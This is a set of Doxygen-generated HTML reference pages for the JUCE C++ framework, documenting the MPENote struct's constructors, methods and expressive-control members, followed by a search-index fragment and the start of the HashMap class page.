colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:af1c2cff864c387bedf8ec5c06e5a8660"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#af1c2cff864c387bedf8ec5c06e5a8660">MPENote</a> (int <a class="el" href="structMPENote.html#a642fb34a5721d3eb5d3cf84e92706164">midiChannel</a>, int <a class="el" href="structMPENote.html#a76415e99eca6956fd16ed014e226a5ce">initialNote</a>, <a class="el" href="classMPEValue.html">MPEValue</a> velocity, <a class="el" href="classMPEValue.html">MPEValue</a> <a class="el" href="structMPENote.html#aebfdbfc173bc19cc97b97659c412078f">pitchbend</a>, <a class="el" href="classMPEValue.html">MPEValue</a> <a class="el" href="structMPENote.html#af04939884198c48da9927e76e4f3ff90">pressure</a>, <a class="el" href="classMPEValue.html">MPEValue</a> <a class="el" href="structMPENote.html#aea15b7b7d5b9c55cbf7d479aa8e46a90">timbre</a>, <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922">KeyState</a> <a class="el" href="structMPENote.html#a971b45daba4a89318713bcb4678dbc4b">keyState</a>=<a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922a895ffc865cb90899c347efefb881e2ce">MPENote::keyDown</a>) noexcept</td></tr> <tr class="memdesc:af1c2cff864c387bedf8ec5c06e5a8660"><td class="mdescLeft">&#160;</td><td class="mdescRight">Constructor. <a href="#af1c2cff864c387bedf8ec5c06e5a8660"></a><br/></td></tr> <tr class="separator:af1c2cff864c387bedf8ec5c06e5a8660"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae7a1417b7ed74b278e1ba3787e24aa59"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#ae7a1417b7ed74b278e1ba3787e24aa59">MPENote</a> () noexcept</td></tr> <tr class="memdesc:ae7a1417b7ed74b278e1ba3787e24aa59"><td class="mdescLeft">&#160;</td><td class="mdescRight">Default constructor. <a href="#ae7a1417b7ed74b278e1ba3787e24aa59"></a><br/></td></tr> <tr class="separator:ae7a1417b7ed74b278e1ba3787e24aa59"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7cc337facd416d2da4ff19a16af1f842"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#a7cc337facd416d2da4ff19a16af1f842">isValid</a> () const noexcept</td></tr> <tr class="memdesc:a7cc337facd416d2da4ff19a16af1f842"><td class="mdescLeft">&#160;</td><td class="mdescRight">Checks whether the MPE note is valid. <a href="#a7cc337facd416d2da4ff19a16af1f842"></a><br/></td></tr> <tr class="separator:a7cc337facd416d2da4ff19a16af1f842"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab2c9c6399f9e500314762ce488cc227d"><td class="memItemLeft" align="right" valign="top">double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#ab2c9c6399f9e500314762ce488cc227d">getFrequencyInHertz</a> (double frequencyOfA=440.0) const noexcept</td></tr> <tr class="memdesc:ab2c9c6399f9e500314762ce488cc227d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the current frequency of the note in Hertz. <a href="#ab2c9c6399f9e500314762ce488cc227d"></a><br/></td></tr> <tr class="separator:ab2c9c6399f9e500314762ce488cc227d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a743fe2c2da9fb745b4d2b1de647007cc"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#a743fe2c2da9fb745b4d2b1de647007cc">operator==</a> (const <a class="el" href="structMPENote.html">MPENote</a> &amp;other) const noexcept</td></tr> <tr class="memdesc:a743fe2c2da9fb745b4d2b1de647007cc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if two notes are the same, determined by their unique ID. <a href="#a743fe2c2da9fb745b4d2b1de647007cc"></a><br/></td></tr> <tr class="separator:a743fe2c2da9fb745b4d2b1de647007cc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab9fe1c72c698427d79569e10d18ad8c2"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#ab9fe1c72c698427d79569e10d18ad8c2">operator!=</a> (const <a class="el" href="structMPENote.html">MPENote</a> &amp;other) const noexcept</td></tr> <tr class="memdesc:ab9fe1c72c698427d79569e10d18ad8c2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if two notes are different notes, determined by their unique ID. <a href="#ab9fe1c72c698427d79569e10d18ad8c2"></a><br/></td></tr> <tr class="separator:ab9fe1c72c698427d79569e10d18ad8c2"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-attribs"></a> Public Attributes</h2></td></tr> <tr class="memitem:aa718127706bfef0ea4bb58a5dd4fd65a"><td class="memItemLeft" align="right" valign="top"><a class="el" href="juce__MathsFunctions_8h.html#a05f6b0ae8f6a6e135b0e290c25fe0e4e">uint16</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#aa718127706bfef0ea4bb58a5dd4fd65a">noteID</a></td></tr> <tr class="memdesc:aa718127706bfef0ea4bb58a5dd4fd65a"><td class="mdescLeft">&#160;</td><td class="mdescRight">A unique ID. <a href="#aa718127706bfef0ea4bb58a5dd4fd65a"></a><br/></td></tr> <tr class="separator:aa718127706bfef0ea4bb58a5dd4fd65a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a642fb34a5721d3eb5d3cf84e92706164"><td class="memItemLeft" align="right" valign="top"><a class="el" href="juce__MathsFunctions_8h.html#adde6aaee8457bee49c2a92621fe22b79">uint8</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#a642fb34a5721d3eb5d3cf84e92706164">midiChannel</a></td></tr> <tr class="memdesc:a642fb34a5721d3eb5d3cf84e92706164"><td class="mdescLeft">&#160;</td><td class="mdescRight">The MIDI channel which this note uses. <a href="#a642fb34a5721d3eb5d3cf84e92706164"></a><br/></td></tr> <tr class="separator:a642fb34a5721d3eb5d3cf84e92706164"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a76415e99eca6956fd16ed014e226a5ce"><td class="memItemLeft" align="right" valign="top"><a class="el" href="juce__MathsFunctions_8h.html#adde6aaee8457bee49c2a92621fe22b79">uint8</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#a76415e99eca6956fd16ed014e226a5ce">initialNote</a></td></tr> <tr class="memdesc:a76415e99eca6956fd16ed014e226a5ce"><td class="mdescLeft">&#160;</td><td class="mdescRight">The MIDI note number that was sent when the note was triggered. <a href="#a76415e99eca6956fd16ed014e226a5ce"></a><br/></td></tr> <tr class="separator:a76415e99eca6956fd16ed014e226a5ce"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9322650db7f2e76cec724746d1a75c1a"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#a9322650db7f2e76cec724746d1a75c1a">noteOnVelocity</a></td></tr> <tr class="memdesc:a9322650db7f2e76cec724746d1a75c1a"><td class="mdescLeft">&#160;</td><td class="mdescRight">The velocity ("strike") of the note-on. <a href="#a9322650db7f2e76cec724746d1a75c1a"></a><br/></td></tr> <tr class="separator:a9322650db7f2e76cec724746d1a75c1a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aebfdbfc173bc19cc97b97659c412078f"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#aebfdbfc173bc19cc97b97659c412078f">pitchbend</a></td></tr> <tr class="memdesc:aebfdbfc173bc19cc97b97659c412078f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Current per-note pitchbend of the note (in units of MIDI pitchwheel position). <a href="#aebfdbfc173bc19cc97b97659c412078f"></a><br/></td></tr> <tr class="separator:aebfdbfc173bc19cc97b97659c412078f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af04939884198c48da9927e76e4f3ff90"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#af04939884198c48da9927e76e4f3ff90">pressure</a></td></tr> <tr class="memdesc:af04939884198c48da9927e76e4f3ff90"><td class="mdescLeft">&#160;</td><td class="mdescRight">Current pressure with which the note is held down. <a href="#af04939884198c48da9927e76e4f3ff90"></a><br/></td></tr> <tr class="separator:af04939884198c48da9927e76e4f3ff90"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aea15b7b7d5b9c55cbf7d479aa8e46a90"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#aea15b7b7d5b9c55cbf7d479aa8e46a90">timbre</a></td></tr> <tr class="memdesc:aea15b7b7d5b9c55cbf7d479aa8e46a90"><td class="mdescLeft">&#160;</td><td class="mdescRight">Current value of the note's third expressive dimension, tyically encoding some kind of timbre parameter. <a href="#aea15b7b7d5b9c55cbf7d479aa8e46a90"></a><br/></td></tr> <tr class="separator:aea15b7b7d5b9c55cbf7d479aa8e46a90"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9e46888c40a2d3eaf4b8c5129b21de6e"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#a9e46888c40a2d3eaf4b8c5129b21de6e">noteOffVelocity</a></td></tr> <tr class="memdesc:a9e46888c40a2d3eaf4b8c5129b21de6e"><td class="mdescLeft">&#160;</td><td class="mdescRight">The release velocity ("lift") of the note after a note-off has been received. <a href="#a9e46888c40a2d3eaf4b8c5129b21de6e"></a><br/></td></tr> <tr class="separator:a9e46888c40a2d3eaf4b8c5129b21de6e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aad33696be29262c8591266f0ab37d534"><td class="memItemLeft" align="right" valign="top">double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#aad33696be29262c8591266f0ab37d534">totalPitchbendInSemitones</a></td></tr> <tr class="memdesc:aad33696be29262c8591266f0ab37d534"><td class="mdescLeft">&#160;</td><td class="mdescRight">Current effective pitchbend of the note in units of semitones, relative to initialNote. <a href="#aad33696be29262c8591266f0ab37d534"></a><br/></td></tr> <tr class="separator:aad33696be29262c8591266f0ab37d534"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a971b45daba4a89318713bcb4678dbc4b"><td class="memItemLeft" align="right" valign="top"><a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922">KeyState</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#a971b45daba4a89318713bcb4678dbc4b">keyState</a></td></tr> <tr class="memdesc:a971b45daba4a89318713bcb4678dbc4b"><td class="mdescLeft">&#160;</td><td class="mdescRight">Current key state. <a href="#a971b45daba4a89318713bcb4678dbc4b"></a><br/></td></tr> <tr class="separator:a971b45daba4a89318713bcb4678dbc4b"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>This struct represents a playing MPE note. </p> <p>A note is identified by a unique ID, or alternatively, by a MIDI channel and an initial note. It is characterised by five dimensions of continuous expressive control. Their current values are represented as <a class="el" href="classMPEValue.html" title="This class represents a single value for any of the MPE dimensions of control.">MPEValue</a> objects.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMPEValue.html" title="This class represents a single value for any of the MPE dimensions of control.">MPEValue</a> </dd></dl> </div><h2 class="groupheader">Member Enumeration Documentation</h2> <a class="anchor" id="a20106ff137c1a5f0b8e6e099ff3fc922"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">enum <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922">MPENote::KeyState</a></td> </tr> </table> </div><div class="memdoc"> <dl><dt><b>Enumerator: </b></dt><dd><table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"><em><a class="anchor" id="a20106ff137c1a5f0b8e6e099ff3fc922adeb8e0c25e24978beb9013836745cb4b"></a>off</em>&nbsp;</td><td> </td></tr> <tr><td valign="top"><em><a class="anchor" id="a20106ff137c1a5f0b8e6e099ff3fc922a895ffc865cb90899c347efefb881e2ce"></a>keyDown</em>&nbsp;</td><td> </td></tr> <tr><td valign="top"><em><a class="anchor" id="a20106ff137c1a5f0b8e6e099ff3fc922a3394b891d4bdd77fd39d141102c4a4bd"></a>sustained</em>&nbsp;</td><td> </td></tr> <tr><td valign="top"><em><a class="anchor" id="a20106ff137c1a5f0b8e6e099ff3fc922a31c427116ac75e042f9f5315a7aad129"></a>keyDownAndSustained</em>&nbsp;</td><td> </td></tr> </table> </dd> </dl> </div> </div> <h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="af1c2cff864c387bedf8ec5c06e5a8660"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">MPENote::MPENote </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>midiChannel</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>initialNote</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td> <td class="paramname"><em>velocity</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td> <td class="paramname"><em>pitchbend</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td> <td class="paramname"><em>pressure</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classMPEValue.html">MPEValue</a>&#160;</td> <td class="paramname"><em>timbre</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922">KeyState</a>&#160;</td> <td class="paramname"><em>keyState</em> = <code><a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922a895ffc865cb90899c347efefb881e2ce">MPENote::keyDown</a></code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Constructor. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">midiChannel</td><td>The MIDI channel of the note, between 2 and 16. (Channel 1 can never be a note channel in MPE).</td></tr> <tr><td class="paramname">initialNote</td><td>The MIDI note number, between 0 and 127.</td></tr> <tr><td class="paramname">velocity</td><td>The note-on velocity of the note.</td></tr> <tr><td class="paramname">pitchbend</td><td>The initial per-note pitchbend of the note.</td></tr> <tr><td class="paramname">pressure</td><td>The initial pressure of the note.</td></tr> <tr><td class="paramname">timbre</td><td>The timbre value of the note.</td></tr> <tr><td class="paramname">keyState</td><td>The key state of the note (whether the key is down and/or the note is sustained). This value must not be <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922adeb8e0c25e24978beb9013836745cb4b">MPENote::off</a>, since you are triggering a new note. (If not specified, the default value will be MPENOte::keyDown.) </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="ae7a1417b7ed74b278e1ba3787e24aa59"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">MPENote::MPENote </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Default constructor. </p> <p>Constructs an invalid MPE note (a note with the key state <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922adeb8e0c25e24978beb9013836745cb4b">MPENote::off</a> and an invalid MIDI channel. The only allowed use for such a note is to call <a class="el" href="structMPENote.html#a7cc337facd416d2da4ff19a16af1f842" title="Checks whether the MPE note is valid.">isValid()</a> on it; everything else is undefined behaviour. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="a7cc337facd416d2da4ff19a16af1f842"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool MPENote::isValid </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Checks whether the MPE note is valid. </p> </div> </div> <a class="anchor" id="ab2c9c6399f9e500314762ce488cc227d"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">double MPENote::getFrequencyInHertz </td> <td>(</td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>frequencyOfA</em> = <code>440.0</code></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the current frequency of the note in Hertz. </p> <p>This is the a sum of the initialNote and the totalPitchbendInSemitones, converted to Hertz. </p> </div> </div> <a class="anchor" id="a743fe2c2da9fb745b4d2b1de647007cc"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool MPENote::operator== </td> <td>(</td> <td class="paramtype">const <a class="el" href="structMPENote.html">MPENote</a> &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if two notes are the same, determined by their unique ID. </p> </div> </div> <a class="anchor" id="ab9fe1c72c698427d79569e10d18ad8c2"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool MPENote::operator!= </td> <td>(</td> <td class="paramtype">const <a class="el" href="structMPENote.html">MPENote</a> &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if two notes are different notes, determined by their unique ID. </p> </div> </div> <h2 class="groupheader">Member Data Documentation</h2> <a class="anchor" id="aa718127706bfef0ea4bb58a5dd4fd65a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="juce__MathsFunctions_8h.html#a05f6b0ae8f6a6e135b0e290c25fe0e4e">uint16</a> MPENote::noteID</td> </tr> </table> </div><div class="memdoc"> <p>A unique ID. </p> <p>Useful to distinguish the note from other simultaneously sounding notes that may use the same note number or MIDI channel. This should never change during the lifetime of a note object. </p> </div> </div> <a class="anchor" id="a642fb34a5721d3eb5d3cf84e92706164"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="juce__MathsFunctions_8h.html#adde6aaee8457bee49c2a92621fe22b79">uint8</a> MPENote::midiChannel</td> </tr> </table> </div><div class="memdoc"> <p>The MIDI channel which this note uses. </p> <p>This should never change during the lifetime of an <a class="el" href="structMPENote.html" title="This struct represents a playing MPE note.">MPENote</a> object. </p> </div> </div> <a class="anchor" id="a76415e99eca6956fd16ed014e226a5ce"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="juce__MathsFunctions_8h.html#adde6aaee8457bee49c2a92621fe22b79">uint8</a> MPENote::initialNote</td> </tr> </table> </div><div class="memdoc"> <p>The MIDI note number that was sent when the note was triggered. </p> <p>This should never change during the lifetime of an <a class="el" href="structMPENote.html" title="This struct represents a playing MPE note.">MPENote</a> object. </p> </div> </div> <a class="anchor" id="a9322650db7f2e76cec724746d1a75c1a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classMPEValue.html">MPEValue</a> MPENote::noteOnVelocity</td> </tr> </table> </div><div class="memdoc"> <p>The velocity ("strike") of the note-on. </p> <p>This dimension will stay constant after the note has been turned on. </p> </div> </div> <a class="anchor" id="aebfdbfc173bc19cc97b97659c412078f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classMPEValue.html">MPEValue</a> MPENote::pitchbend</td> </tr> </table> </div><div class="memdoc"> <p>Current per-note pitchbend of the note (in units of MIDI pitchwheel position). </p> <p>This dimension can be modulated while the note sounds.</p> <p>Note: This value is not aware of the currently used pitchbend range, or an additional master pitchbend that may be simultaneously applied. To compute the actual effective pitchbend of an <a class="el" href="structMPENote.html" title="This struct represents a playing MPE note.">MPENote</a>, you should probably use the member totalPitchbendInSemitones instead.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="structMPENote.html#aad33696be29262c8591266f0ab37d534" title="Current effective pitchbend of the note in units of semitones, relative to initialNote.">totalPitchbendInSemitones</a>, <a class="el" href="structMPENote.html#ab2c9c6399f9e500314762ce488cc227d" title="Returns the current frequency of the note in Hertz.">getFrequencyInHertz</a> </dd></dl> </div> </div> <a class="anchor" id="af04939884198c48da9927e76e4f3ff90"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classMPEValue.html">MPEValue</a> MPENote::pressure</td> </tr> </table> </div><div class="memdoc"> <p>Current pressure with which the note is held down. </p> <p>This dimension can be modulated while the note sounds. </p> </div> </div> <a class="anchor" id="aea15b7b7d5b9c55cbf7d479aa8e46a90"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classMPEValue.html">MPEValue</a> MPENote::timbre</td> </tr> </table> </div><div class="memdoc"> <p>Current value of the note's third expressive dimension, tyically encoding some kind of timbre parameter. </p> <p>This dimension can be modulated while the note sounds. </p> </div> </div> <a class="anchor" id="a9e46888c40a2d3eaf4b8c5129b21de6e"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classMPEValue.html">MPEValue</a> MPENote::noteOffVelocity</td> </tr> </table> </div><div class="memdoc"> <p>The release velocity ("lift") of the note after a note-off has been received. </p> <p>This dimension will only have a meaningful value after a note-off has been received for the note (and keyState is set to <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922adeb8e0c25e24978beb9013836745cb4b">MPENote::off</a> or MPENOte::sustained). Initially, the value is undefined. </p> </div> </div> <a class="anchor" id="aad33696be29262c8591266f0ab37d534"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">double MPENote::totalPitchbendInSemitones</td> </tr> </table> </div><div class="memdoc"> <p>Current effective pitchbend of the note in units of semitones, relative to initialNote. </p> <p>You should use this to compute the actual effective pitch of the note. This value is computed and set by an <a class="el" href="classMPEInstrument.html">MPEInstrument</a> to the sum of the per-note pitchbend value (stored in MPEValue::pitchbend) and the master pitchbend of the MPE zone, weighted with the per-note pitchbend range and master pitchbend range of the zone, respectively.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="structMPENote.html#ab2c9c6399f9e500314762ce488cc227d" title="Returns the current frequency of the note in Hertz.">getFrequencyInHertz</a> </dd></dl> </div> </div> <a class="anchor" id="a971b45daba4a89318713bcb4678dbc4b"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922">KeyState</a> MPENote::keyState</td> </tr> </table> </div><div class="memdoc"> <p>Current key state. </p> <p>Indicates whether the note key is currently down (pressed) and/or the note is sustained (by a sustain or sostenuto pedal). </p> </div> </div> <hr/>The documentation for this struct was generated from the following file:<ul> <li><a class="el" href="juce__MPENote_8h.html">juce_MPENote.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['quadraticto',['quadraticTo',['../classPath_1_1Iterator.html#a62b1a329e3fdbcbdad78bb6c90c7bcfda3a092657aa2dec64c33926a6528c9f9b',1,'Path::Iterator']]], ['quadratictoelement',['quadraticToElement',['../classRelativePointPath.html#a741fbc9bca4a156a84514f20987483e9a8494c007547e881252ae413d840908ca',1,'RelativePointPath']]], ['questionicon',['QuestionIcon',['../classAlertWindow.html#a2582d1f79937cb47a6a3764c7d9bdba3a63d1a179c412afc32f7f3c8061b238be',1,'AlertWindow']]], ['quit',['quit',['../namespaceStandardApplicationCommandIDs.html#a002263d18eb620120aac8309d8cd02c7a0e06bba45d6039ddc74f0b437d982fba',1,'StandardApplicationCommandIDs']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt; Class Template Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" 